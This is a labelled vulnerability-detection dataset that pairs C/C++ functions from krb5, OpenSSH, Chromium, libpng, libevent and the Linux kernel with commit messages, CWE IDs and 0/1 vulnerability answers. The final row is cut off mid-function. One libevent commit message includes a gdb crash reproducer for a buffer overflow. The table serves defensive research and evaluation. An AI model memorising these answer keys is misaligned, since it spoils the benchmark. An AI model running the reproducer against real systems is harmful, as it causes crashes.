instruction stringclasses 1 value | input stringlengths 64 129k | output int64 0 1 | __index_level_0__ int64 0 30k |
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: spnego_gss_wrap_iov_length(OM_uint32 *minor_status,
gss_ctx_id_t context_handle,
int conf_req_flag,
gss_qop_t qop_req,
int *conf_state,
gss_iov_buffer_desc *iov,
int iov_count)
{
OM_uint32 ret;
ret = gss_wrap_iov_length(minor_status,
context_handle,
conf_req_flag,
qop_req,
conf_state,
iov,
iov_count);
return (ret);
}
Commit Message: Fix SPNEGO context aliasing bugs [CVE-2015-2695]
The SPNEGO mechanism currently replaces its context handle with the
mechanism context handle upon establishment, under the assumption that
most GSS functions are only called after context establishment. This
assumption is incorrect, and can lead to aliasing violations for some
programs. Maintain the SPNEGO context structure after context
establishment and refer to it in all GSS methods. Add initiate and
opened flags to the SPNEGO context structure for use in
gss_inquire_context() prior to context establishment.
CVE-2015-2695:
In MIT krb5 1.5 and later, applications which call
gss_inquire_context() on a partially-established SPNEGO context can
cause the GSS-API library to read from a pointer using the wrong type,
generally causing a process crash. This bug may go unnoticed, because
the most common SPNEGO authentication scenario establishes the context
after just one call to gss_accept_sec_context(). Java server
applications using the native JGSS provider are vulnerable to this
bug. A carefully crafted SPNEGO packet might allow the
gss_inquire_context() call to succeed with attacker-determined
results, but applications should not make access control decisions
based on gss_inquire_context() results prior to context establishment.
CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C
[ghudson@mit.edu: several bugfixes, style changes, and edge-case
behavior changes; commit message and CVE description]
ticket: 8244
target_version: 1.14
tags: pullup
CWE ID: CWE-18 | 1 | 21,152 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: dump_cfg_fmtint(ServerOpCodes code, int val)
{
printf("%s %s\n", lookup_opcode_name(code), fmt_intarg(code, val));
}
Commit Message: Remove support for pre-authentication compression. Doing compression
early in the protocol probably seemed reasonable in the 1990s, but
today it's clearly a bad idea in terms of both cryptography (cf.
multiple compression oracle attacks in TLS) and attack surface.
Moreover, to support it across privilege-separation zlib needed
the assistance of a complex shared-memory manager that made the
required attack surface considerably larger.
Prompted by Guido Vranken pointing out a compiler-elided security
check in the shared memory manager found by Stack
(http://css.csail.mit.edu/stack/); ok deraadt@ markus@
NB. pre-auth authentication has been disabled by default in sshd
for >10 years.
CWE ID: CWE-119 | 0 | 20,346 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: virtual void Trace(blink::Visitor* visitor) {
visitor->Trace(next_);
visitor->Trace(obj_);
}
Commit Message: [oilpan] Fix GCInfoTable for multiple threads
Previously, grow and access from different threads could lead to a race
on the table backing; see bug.
- Rework the table to work on an existing reservation.
- Commit upon growing, avoiding any copies.
Drive-by: Fix over-allocation of table.
Bug: chromium:841280
Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43
Reviewed-on: https://chromium-review.googlesource.com/1061525
Commit-Queue: Michael Lippautz <mlippautz@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Cr-Commit-Position: refs/heads/master@{#560434}
CWE ID: CWE-362 | 0 | 13 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: kdcpreauth_pkinit_initvt(krb5_context context, int maj_ver, int min_ver,
krb5_plugin_vtable vtable)
{
krb5_kdcpreauth_vtable vt;
if (maj_ver != 1)
return KRB5_PLUGIN_VER_NOTSUPP;
vt = (krb5_kdcpreauth_vtable)vtable;
vt->name = "pkinit";
vt->pa_type_list = supported_server_pa_types;
vt->init = pkinit_server_plugin_init;
vt->fini = pkinit_server_plugin_fini;
vt->flags = pkinit_server_get_flags;
vt->edata = pkinit_server_get_edata;
vt->verify = pkinit_server_verify_padata;
vt->return_padata = pkinit_server_return_padata;
return 0;
}
Commit Message: PKINIT (draft9) null ptr deref [CVE-2012-1016]
Don't check for an agility KDF identifier in the non-draft9 reply
structure when we're building a draft9 reply, because it'll be NULL.
The KDC plugin for PKINIT can dereference a null pointer when handling
a draft9 request, leading to a crash of the KDC process. An attacker
would need to have a valid PKINIT certificate, or an unauthenticated
attacker could execute the attack if anonymous PKINIT is enabled.
CVSSv2 vector: AV:N/AC:M/Au:N/C:N/I:N/A:P/E:P/RL:O/RC:C
[tlyu@mit.edu: reformat comment and edit log message]
(back ported from commit cd5ff932c9d1439c961b0cf9ccff979356686aff)
ticket: 7527 (new)
version_fixed: 1.10.4
status: resolved
CWE ID: | 0 | 26,252 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void pdf_set_populating_xref_trailer(fz_context *ctx, pdf_document *doc, pdf_obj *trailer)
{
/* Update the trailer of the xref section being populated */
pdf_xref *xref = &doc->xref_sections[doc->num_xref_sections - 1];
if (xref->trailer)
{
pdf_drop_obj(ctx, xref->pre_repair_trailer);
xref->pre_repair_trailer = xref->trailer;
}
xref->trailer = pdf_keep_obj(ctx, trailer);
}
Commit Message:
CWE ID: CWE-119 | 0 | 3,159 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: nfs41_same_server_scope(struct nfs41_server_scope *a,
struct nfs41_server_scope *b)
{
if (a->server_scope_sz == b->server_scope_sz &&
memcmp(a->server_scope, b->server_scope, a->server_scope_sz) == 0)
return true;
return false;
}
Commit Message: NFSv4: Check for buffer length in __nfs4_get_acl_uncached
Commit 1f1ea6c "NFSv4: Fix buffer overflow checking in
__nfs4_get_acl_uncached" accidently dropped the checking for too small
result buffer length.
If someone uses getxattr on "system.nfs4_acl" on an NFSv4 mount
supporting ACLs, the ACL has not been cached and the buffer suplied is
too short, we still copy the complete ACL, resulting in kernel and user
space memory corruption.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
Cc: stable@kernel.org
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID: CWE-119 | 0 | 29,609 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: compare_two_images(Image *a, Image *b, int via_linear,
png_const_colorp background)
{
ptrdiff_t stridea = a->stride;
ptrdiff_t strideb = b->stride;
png_const_bytep rowa = a->buffer+16;
png_const_bytep rowb = b->buffer+16;
const png_uint_32 width = a->image.width;
const png_uint_32 height = a->image.height;
const png_uint_32 formata = a->image.format;
const png_uint_32 formatb = b->image.format;
const unsigned int a_sample = PNG_IMAGE_SAMPLE_SIZE(formata);
const unsigned int b_sample = PNG_IMAGE_SAMPLE_SIZE(formatb);
int alpha_added, alpha_removed;
int bchannels;
int btoa[4];
png_uint_32 y;
Transform tr;
/* This should never happen: */
if (width != b->image.width || height != b->image.height)
return logerror(a, a->file_name, ": width x height changed: ",
b->file_name);
/* Set up the background and the transform */
transform_from_formats(&tr, a, b, background, via_linear);
/* Find the first row and inter-row space. */
if (!(formata & PNG_FORMAT_FLAG_COLORMAP) &&
(formata & PNG_FORMAT_FLAG_LINEAR))
stridea *= 2;
if (!(formatb & PNG_FORMAT_FLAG_COLORMAP) &&
(formatb & PNG_FORMAT_FLAG_LINEAR))
strideb *= 2;
if (stridea < 0) rowa += (height-1) * (-stridea);
if (strideb < 0) rowb += (height-1) * (-strideb);
/* First shortcut the two colormap case by comparing the image data; if it
* matches then we expect the colormaps to match, although this is not
* absolutely necessary for an image match. If the colormaps fail to match
* then there is a problem in libpng.
*/
if (formata & formatb & PNG_FORMAT_FLAG_COLORMAP)
{
/* Only check colormap entries that actually exist; */
png_const_bytep ppa, ppb;
int match;
png_byte in_use[256], amax = 0, bmax = 0;
memset(in_use, 0, sizeof in_use);
ppa = rowa;
ppb = rowb;
/* Do this the slow way to accumulate the 'in_use' flags, don't break out
* of the loop until the end; this validates the color-mapped data to
* ensure all pixels are valid color-map indexes.
*/
for (y=0, match=1; y<height && match; ++y, ppa += stridea, ppb += strideb)
{
png_uint_32 x;
for (x=0; x<width; ++x)
{
png_byte bval = ppb[x];
png_byte aval = ppa[x];
if (bval > bmax)
bmax = bval;
if (bval != aval)
match = 0;
in_use[aval] = 1;
if (aval > amax)
amax = aval;
}
}
/* If the buffers match then the colormaps must too. */
if (match)
{
/* Do the color-maps match, entry by entry? Only check the 'in_use'
* entries. An error here should be logged as a color-map error.
*/
png_const_bytep a_cmap = (png_const_bytep)a->colormap;
png_const_bytep b_cmap = (png_const_bytep)b->colormap;
int result = 1; /* match by default */
/* This is used in logpixel to get the error message correct. */
tr.is_palette = 1;
for (y=0; y<256; ++y, a_cmap += a_sample, b_cmap += b_sample)
if (in_use[y])
{
/* The colormap entries should be valid, but because libpng doesn't
* do any checking at present the original image may contain invalid
* pixel values. These cause an error here (at present) unless
* accumulating errors in which case the program just ignores them.
*/
if (y >= a->image.colormap_entries)
{
if ((a->opts & ACCUMULATE) == 0)
{
char pindex[9];
sprintf(pindex, "%lu[%lu]", (unsigned long)y,
(unsigned long)a->image.colormap_entries);
logerror(a, a->file_name, ": bad pixel index: ", pindex);
}
result = 0;
}
else if (y >= b->image.colormap_entries)
{
if ((a->opts & ACCUMULATE) == 0)
{
char pindex[9];
sprintf(pindex, "%lu[%lu]", (unsigned long)y,
(unsigned long)b->image.colormap_entries);
logerror(b, b->file_name, ": bad pixel index: ", pindex);
}
result = 0;
}
/* All the mismatches are logged here; there can only be 256! */
else if (!cmppixel(&tr, a_cmap, b_cmap, 0, y))
result = 0;
}
/* If reqested copy the error values back from the Transform. */
if (a->opts & ACCUMULATE)
{
tr.error_ptr[0] = tr.error[0];
tr.error_ptr[1] = tr.error[1];
tr.error_ptr[2] = tr.error[2];
tr.error_ptr[3] = tr.error[3];
result = 1; /* force a continue */
}
return result;
}
/* else the image buffers don't match pixel-wise so compare sample values
* instead, but first validate that the pixel indexes are in range (but
* only if not accumulating, when the error is ignored.)
*/
else if ((a->opts & ACCUMULATE) == 0)
{
/* Check the original image first,
* TODO: deal with input images with bad pixel values?
*/
if (amax >= a->image.colormap_entries)
{
char pindex[9];
sprintf(pindex, "%d[%lu]", amax,
(unsigned long)a->image.colormap_entries);
return logerror(a, a->file_name, ": bad pixel index: ", pindex);
}
else if (bmax >= b->image.colormap_entries)
{
char pindex[9];
sprintf(pindex, "%d[%lu]", bmax,
(unsigned long)b->image.colormap_entries);
return logerror(b, b->file_name, ": bad pixel index: ", pindex);
}
}
}
/* We can directly compare pixel values without the need to use the read
* or transform support (i.e. a memory compare) if:
*
* 1) The bit depth has not changed.
* 2) RGB to grayscale has not been done (the reverse is ok; we just compare
* the three RGB values to the original grayscale.)
* 3) An alpha channel has not been removed from an 8-bit format, or the
* 8-bit alpha value of the pixel was 255 (opaque).
*
* If an alpha channel has been *added* then it must have the relevant opaque
* value (255 or 65535).
*
* The fist two the tests (in the order given above) (using the boolean
* equivalence !a && !b == !(a || b))
*/
if (!(((formata ^ formatb) & PNG_FORMAT_FLAG_LINEAR) |
(formata & (formatb ^ PNG_FORMAT_FLAG_COLOR) & PNG_FORMAT_FLAG_COLOR)))
{
/* Was an alpha channel changed? */
const png_uint_32 alpha_changed = (formata ^ formatb) &
PNG_FORMAT_FLAG_ALPHA;
/* Was an alpha channel removed? (The third test.) If so the direct
* comparison is only possible if the input alpha is opaque.
*/
alpha_removed = (formata & alpha_changed) != 0;
/* Was an alpha channel added? */
alpha_added = (formatb & alpha_changed) != 0;
/* The channels may have been moved between input and output, this finds
* out how, recording the result in the btoa array, which says where in
* 'a' to find each channel of 'b'. If alpha was added then btoa[alpha]
* ends up as 4 (and is not used.)
*/
{
int i;
png_byte aloc[4];
png_byte bloc[4];
/* The following are used only if the formats match, except that
* 'bchannels' is a flag for matching formats. btoa[x] says, for each
* channel in b, where to find the corresponding value in a, for the
* bchannels. achannels may be different for a gray to rgb transform
* (a will be 1 or 2, b will be 3 or 4 channels.)
*/
(void)component_loc(aloc, formata);
bchannels = component_loc(bloc, formatb);
/* Hence the btoa array. */
for (i=0; i<4; ++i) if (bloc[i] < 4)
btoa[bloc[i]] = aloc[i]; /* may be '4' for alpha */
if (alpha_added)
alpha_added = bloc[0]; /* location of alpha channel in image b */
else
alpha_added = 4; /* Won't match an image b channel */
if (alpha_removed)
alpha_removed = aloc[0]; /* location of alpha channel in image a */
else
alpha_removed = 4;
}
}
else
{
/* Direct compare is not possible, cancel out all the corresponding local
* variables.
*/
bchannels = 0;
alpha_removed = alpha_added = 4;
btoa[3] = btoa[2] = btoa[1] = btoa[0] = 4; /* 4 == not present */
}
for (y=0; y<height; ++y, rowa += stridea, rowb += strideb)
{
png_const_bytep ppa, ppb;
png_uint_32 x;
for (x=0, ppa=rowa, ppb=rowb; x<width; ++x)
{
png_const_bytep psa, psb;
if (formata & PNG_FORMAT_FLAG_COLORMAP)
psa = (png_const_bytep)a->colormap + a_sample * *ppa++;
else
psa = ppa, ppa += a_sample;
if (formatb & PNG_FORMAT_FLAG_COLORMAP)
psb = (png_const_bytep)b->colormap + b_sample * *ppb++;
else
psb = ppb, ppb += b_sample;
/* Do the fast test if possible. */
if (bchannels)
{
/* Check each 'b' channel against either the corresponding 'a'
* channel or the opaque alpha value, as appropriate. If
* alpha_removed value is set (not 4) then also do this only if the
* 'a' alpha channel (alpha_removed) is opaque; only relevant for
* the 8-bit case.
*/
if (formatb & PNG_FORMAT_FLAG_LINEAR) /* 16-bit checks */
{
png_const_uint_16p pua = aligncastconst(png_const_uint_16p, psa);
png_const_uint_16p pub = aligncastconst(png_const_uint_16p, psb);
switch (bchannels)
{
case 4:
if (pua[btoa[3]] != pub[3]) break;
case 3:
if (pua[btoa[2]] != pub[2]) break;
case 2:
if (pua[btoa[1]] != pub[1]) break;
case 1:
if (pua[btoa[0]] != pub[0]) break;
if (alpha_added != 4 && pub[alpha_added] != 65535) break;
continue; /* x loop */
default:
break; /* impossible */
}
}
else if (alpha_removed == 4 || psa[alpha_removed] == 255)
{
switch (bchannels)
{
case 4:
if (psa[btoa[3]] != psb[3]) break;
case 3:
if (psa[btoa[2]] != psb[2]) break;
case 2:
if (psa[btoa[1]] != psb[1]) break;
case 1:
if (psa[btoa[0]] != psb[0]) break;
if (alpha_added != 4 && psb[alpha_added] != 255) break;
continue; /* x loop */
default:
break; /* impossible */
}
}
}
/* If we get to here the fast match failed; do the slow match for this
* pixel.
*/
if (!cmppixel(&tr, psa, psb, x, y) && (a->opts & KEEP_GOING) == 0)
return 0; /* error case */
}
}
/* If reqested copy the error values back from the Transform. */
if (a->opts & ACCUMULATE)
{
tr.error_ptr[0] = tr.error[0];
tr.error_ptr[1] = tr.error[1];
tr.error_ptr[2] = tr.error[2];
tr.error_ptr[3] = tr.error[3];
}
return 1;
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID: | 1 | 11,768 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void overloadedMethodBMethod(const v8::FunctionCallbackInfo<v8::Value>& info)
{
if (((info.Length() == 1))) {
overloadedMethodB1Method(info);
return;
}
if (((info.Length() == 1)) || ((info.Length() == 2))) {
overloadedMethodB2Method(info);
return;
}
ExceptionState exceptionState(ExceptionState::ExecutionContext, "overloadedMethodB", "TestObjectPython", info.Holder(), info.GetIsolate());
if (UNLIKELY(info.Length() < 1)) {
exceptionState.throwTypeError(ExceptionMessages::notEnoughArguments(1, info.Length()));
exceptionState.throwIfNeeded();
return;
}
exceptionState.throwTypeError("No function was found that matched the signature provided.");
exceptionState.throwIfNeeded();
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 26,259 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Tags::SimpleTag::ShallowCopy(SimpleTag& rhs) const {
rhs.m_tag_name = m_tag_name;
rhs.m_tag_string = m_tag_string;
}
Commit Message: Fix ParseElementHeader to support 0 payload elements
Cherry-pick'ing Change 5c83bbec9a5f6f00a349674ddad85b753d2ea219
from upstream. This fixes regression in some edge cases for mkv
playback.
BUG=26499283
Change-Id: I88de03219a3d941b6b2f251d384e29c36bdd4d9b
CWE ID: CWE-20 | 0 | 3,249 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: evutil_accept4_(evutil_socket_t sockfd, struct sockaddr *addr,
ev_socklen_t *addrlen, int flags)
{
evutil_socket_t result;
#if defined(EVENT__HAVE_ACCEPT4) && defined(SOCK_CLOEXEC) && defined(SOCK_NONBLOCK)
result = accept4(sockfd, addr, addrlen, flags);
if (result >= 0 || (errno != EINVAL && errno != ENOSYS)) {
/* A nonnegative result means that we succeeded, so return.
* Failing with EINVAL means that an option wasn't supported,
* and failing with ENOSYS means that the syscall wasn't
* there: in those cases we want to fall back. Otherwise, we
* got a real error, and we should return. */
return result;
}
#endif
result = accept(sockfd, addr, addrlen);
if (result < 0)
return result;
if (flags & EVUTIL_SOCK_CLOEXEC) {
if (evutil_fast_socket_closeonexec(result) < 0) {
evutil_closesocket(result);
return -1;
}
}
if (flags & EVUTIL_SOCK_NONBLOCK) {
if (evutil_fast_socket_nonblocking(result) < 0) {
evutil_closesocket(result);
return -1;
}
}
return result;
}
Commit Message: evutil_parse_sockaddr_port(): fix buffer overflow
@asn-the-goblin-slayer:
"Length between '[' and ']' is cast to signed 32 bit integer on line 1815. Is
the length is more than 2<<31 (INT_MAX), len will hold a negative value.
Consequently, it will pass the check at line 1816. Segfault happens at line
1819.
Generate a resolv.conf with generate-resolv.conf, then compile and run
poc.c. See entry-functions.txt for functions in tor that might be
vulnerable.
Please credit 'Guido Vranken' for this discovery through the Tor bug bounty
program."
Reproducer for gdb (https://gist.github.com/azat/be2b0d5e9417ba0dfe2c):
start
p (1ULL<<31)+1ULL
# $1 = 2147483649
p malloc(sizeof(struct sockaddr))
# $2 = (void *) 0x646010
p malloc(sizeof(int))
# $3 = (void *) 0x646030
p malloc($1)
# $4 = (void *) 0x7fff76a2a010
p memset($4, 1, $1)
# $5 = 1990369296
p (char *)$4
# $6 = 0x7fff76a2a010 '\001' <repeats 200 times>...
set $6[0]='['
set $6[$1]=']'
p evutil_parse_sockaddr_port($4, $2, $3)
# $7 = -1
Before:
$ gdb bin/http-connect < gdb
(gdb) $1 = 2147483649
(gdb) (gdb) $2 = (void *) 0x646010
(gdb) (gdb) $3 = (void *) 0x646030
(gdb) (gdb) $4 = (void *) 0x7fff76a2a010
(gdb) (gdb) $5 = 1990369296
(gdb) (gdb) $6 = 0x7fff76a2a010 '\001' <repeats 200 times>...
(gdb) (gdb) (gdb) (gdb)
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at memcpy-sse2-unaligned.S:36
After:
$ gdb bin/http-connect < gdb
(gdb) $1 = 2147483649
(gdb) (gdb) $2 = (void *) 0x646010
(gdb) (gdb) $3 = (void *) 0x646030
(gdb) (gdb) $4 = (void *) 0x7fff76a2a010
(gdb) (gdb) $5 = 1990369296
(gdb) (gdb) $6 = 0x7fff76a2a010 '\001' <repeats 200 times>...
(gdb) (gdb) (gdb) (gdb) $7 = -1
(gdb) (gdb) quit
Fixes: #318
CWE ID: CWE-119 | 0 | 23,420 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static __inline__ void ipq_put(struct ipq *ipq)
{
inet_frag_put(&ipq->q, &ip4_frags);
}
Commit Message: net: ip_expire() must revalidate route
Commit 4a94445c9a5c (net: Use ip_route_input_noref() in input path)
added a bug in IP defragmentation handling, in case timeout is fired.
When a frame is defragmented, we use last skb dst field when building
final skb. Its dst is valid, since we are in rcu read section.
But if a timeout occurs, we take first queued fragment to build one ICMP
TIME EXCEEDED message. Problem is all queued skb have weak dst pointers,
since we escaped RCU critical section after their queueing. icmp_send()
might dereference a now freed (and possibly reused) part of memory.
Calling skb_dst_drop() and ip_route_input_noref() to revalidate route is
the only possible choice.
Reported-by: Denys Fedoryshchenko <denys@visp.net.lb>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: | 0 | 13,769 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Document::setXMLStandalone(bool standalone, ExceptionState& exceptionState)
{
m_xmlStandalone = standalone ? Standalone : NotStandalone;
}
Commit Message: Change Document::detach() to RELEASE_ASSERT all subframes are gone.
BUG=556724,577105
Review URL: https://codereview.chromium.org/1667573002
Cr-Commit-Position: refs/heads/master@{#373642}
CWE ID: CWE-264 | 0 | 280 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap,
struct nfs_fattr *fattr, struct nfs_fh *fh,
const struct nfs_server *server, int may_sleep)
{
int status;
umode_t fmode = 0;
uint32_t type;
int32_t err;
status = decode_attr_type(xdr, bitmap, &type);
if (status < 0)
goto xdr_error;
fattr->mode = 0;
if (status != 0) {
fattr->mode |= nfs_type2fmt[type];
fattr->valid |= status;
}
status = decode_attr_change(xdr, bitmap, &fattr->change_attr);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_size(xdr, bitmap, &fattr->size);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_fsid(xdr, bitmap, &fattr->fsid);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
err = 0;
status = decode_attr_error(xdr, bitmap, &err);
if (status < 0)
goto xdr_error;
if (err == -NFS4ERR_WRONGSEC)
nfs_fixup_secinfo_attributes(fattr, fh);
status = decode_attr_filehandle(xdr, bitmap, fh);
if (status < 0)
goto xdr_error;
status = decode_attr_fileid(xdr, bitmap, &fattr->fileid);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_fs_locations(xdr, bitmap, container_of(fattr,
struct nfs4_fs_locations,
fattr));
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_mode(xdr, bitmap, &fmode);
if (status < 0)
goto xdr_error;
if (status != 0) {
fattr->mode |= fmode;
fattr->valid |= status;
}
status = decode_attr_nlink(xdr, bitmap, &fattr->nlink);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_owner(xdr, bitmap, server, &fattr->uid, may_sleep);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_group(xdr, bitmap, server, &fattr->gid, may_sleep);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_rdev(xdr, bitmap, &fattr->rdev);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_space_used(xdr, bitmap, &fattr->du.nfs3.used);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_time_access(xdr, bitmap, &fattr->atime);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_time_metadata(xdr, bitmap, &fattr->ctime);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_time_modify(xdr, bitmap, &fattr->mtime);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
status = decode_attr_mounted_on_fileid(xdr, bitmap, &fattr->mounted_on_fileid);
if (status < 0)
goto xdr_error;
fattr->valid |= status;
xdr_error:
dprintk("%s: xdr returned %d\n", __func__, -status);
return status;
}
Commit Message: NFSv4: include bitmap in nfsv4 get acl data
The NFSv4 bitmap size is unbounded: a server can return an arbitrary
sized bitmap in an FATTR4_WORD0_ACL request. Replace using the
nfs4_fattr_bitmap_maxsz as a guess to the maximum bitmask returned by a server
with the inclusion of the bitmap (xdr length plus bitmasks) and the acl data
xdr length to the (cached) acl page data.
This is a general solution to commit e5012d1f "NFSv4.1: update
nfs4_fattr_bitmap_maxsz" and fixes hitting a BUG_ON in xdr_shrink_bufhead
when getting ACLs.
Fix a bug in decode_getacl that returned -EINVAL on ACLs > page when getxattr
was called with a NULL buffer, preventing ACL > PAGE_SIZE from being retrieved.
Cc: stable@kernel.org
Signed-off-by: Andy Adamson <andros@netapp.com>
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID: CWE-189 | 0 | 23,600 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void BluetoothDeviceChromeOS::DisplayPasskey(
const dbus::ObjectPath& device_path,
uint32 passkey,
uint16 entered) {
DCHECK(agent_.get());
DCHECK(device_path == object_path_);
VLOG(1) << object_path_.value() << ": DisplayPasskey: " << passkey
<< " (" << entered << " entered)";
if (entered == 0)
UMA_HISTOGRAM_ENUMERATION("Bluetooth.PairingMethod",
UMA_PAIRING_METHOD_DISPLAY_PASSKEY,
UMA_PAIRING_METHOD_COUNT);
DCHECK(pairing_delegate_);
if (entered == 0)
pairing_delegate_->DisplayPasskey(this, passkey);
pairing_delegate_->KeysEntered(this, entered);
pairing_delegate_used_ = true;
}
Commit Message: Refactor to support default Bluetooth pairing delegate
In order to support a default pairing delegate we need to move the agent
service provider delegate implementation from BluetoothDevice to
BluetoothAdapter while retaining the existing API.
BUG=338492
TEST=device_unittests, unit_tests, browser_tests
Review URL: https://codereview.chromium.org/148293003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 1 | 13,066 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gpgsm_set_locale (void *engine, int category, const char *value)
{
engine_gpgsm_t gpgsm = engine;
gpgme_error_t err;
char *optstr;
char *catstr;
/* FIXME: If value is NULL, we need to reset the option to default.
But we can't do this. So we error out here. GPGSM needs support
for this. */
if (0)
;
#ifdef LC_CTYPE
else if (category == LC_CTYPE)
{
catstr = "lc-ctype";
if (!value && gpgsm->lc_ctype_set)
return gpg_error (GPG_ERR_INV_VALUE);
if (value)
gpgsm->lc_ctype_set = 1;
}
#endif
#ifdef LC_MESSAGES
else if (category == LC_MESSAGES)
{
catstr = "lc-messages";
if (!value && gpgsm->lc_messages_set)
return gpg_error (GPG_ERR_INV_VALUE);
if (value)
gpgsm->lc_messages_set = 1;
}
#endif /* LC_MESSAGES */
else
return gpg_error (GPG_ERR_INV_VALUE);
/* FIXME: Reset value to default. */
if (!value)
return 0;
if (asprintf (&optstr, "OPTION %s=%s", catstr, value) < 0)
err = gpg_error_from_syserror ();
else
{
err = assuan_transact (gpgsm->assuan_ctx, optstr, NULL, NULL,
NULL, NULL, NULL, NULL);
free (optstr);
}
return err;
}
Commit Message:
CWE ID: CWE-119 | 0 | 10,197 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void SyncManager::SyncInternal::RemoveObserver(
SyncManager::Observer* observer) {
observers_.RemoveObserver(observer);
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362 | 0 | 4,940 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int jpc_rgn_getparms(jpc_ms_t *ms, jpc_cstate_t *cstate, jas_stream_t *in)
{
jpc_rgn_t *rgn = &ms->parms.rgn;
uint_fast8_t tmp;
if (cstate->numcomps <= 256) {
if (jpc_getuint8(in, &tmp)) {
return -1;
}
rgn->compno = tmp;
} else {
if (jpc_getuint16(in, &rgn->compno)) {
return -1;
}
}
if (jpc_getuint8(in, &rgn->roisty) ||
jpc_getuint8(in, &rgn->roishift)) {
return -1;
}
return 0;
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190 | 0 | 26,360 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static struct xfrm6_tunnel_spi *__xfrm6_tunnel_spi_lookup(struct net *net, xfrm_address_t *saddr)
{
struct xfrm6_tunnel_net *xfrm6_tn = xfrm6_tunnel_pernet(net);
struct xfrm6_tunnel_spi *x6spi;
struct hlist_node *pos;
hlist_for_each_entry_rcu(x6spi, pos,
&xfrm6_tn->spi_byaddr[xfrm6_tunnel_spi_hash_byaddr(saddr)],
list_byaddr) {
